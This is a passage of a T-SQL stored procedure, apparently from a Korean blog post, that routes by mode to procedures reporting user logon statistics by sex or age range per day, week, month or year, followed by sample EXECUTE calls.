IF @DayStyleMode = 2 Goto ByAgeRate_Week
IF @DayStyleMode = 3 Goto ByAgeRate_Month
IF @DayStyleMode = 4 Goto ByAgeRate_Year
Return
ByGender_Day:
Execute dbo.sp_Statictics_Logon_Sex_Daily_Get @SearchDate
Return
ByGender_Week:
Execute dbo.sp_Statictics_Logon_Sex_Weekend_Get @SearchDate
Return
ByGender_Month:
Execute sp_Statictics_Logon_Sex_monthly_Get @SearchDate
Return
ByGender_Year:
Select 'sex_year'
Return
ByAgeRate_Day:
Execute sp_Statictics_Logon_AgeRate_Daily_Get @SearchDate
Return
ByAgeRate_Week:
Execute sp_Statictics_Logon_AgeRate_WeekEnd_Get @SearchDate
Return
ByAgeRate_Month:
Execute sp_Statictics_Logon_AgeRate_Monthly_Get @SearchDate
Return
ByAgeRate_Year:
Select 'age_year'
Return
Go
-------------------- Result by procedure -----------------------
--By Sex And Daily
Execute up_LogonStatictics_SPM_Get 1, 1, '2004-08-11'
--By Sex And WeekDay
Execute up_LogonStatictics_SPM_Get 1, 2, '2004-08-11'
--By Sex And Month
Execute up_LogonStatictics_SPM_Get 1, 3, '2004-08-11'
--By Sex And Year
Execute up_LogonStatictics_SPM_Get 1, 4, '2004-08-11'
--By AgeRate And Daily
Execute up_LogonStatictics_SPM_Get 2, 1, '2004-08-11'
--By AgeRate And WeekDay
Execute up_LogonStatictics_SPM_Get 2, 2, '2004-08-11'
--By AgeRate And Month
Execute up_LogonStatictics_SPM_Get 2, 3, '2004-08-11'
--By AgeRate And Year
Execute up_LogonStatictics_SPM_Get 2, 4, '2004-08-11'
피드 구독하기:
글 (Atom)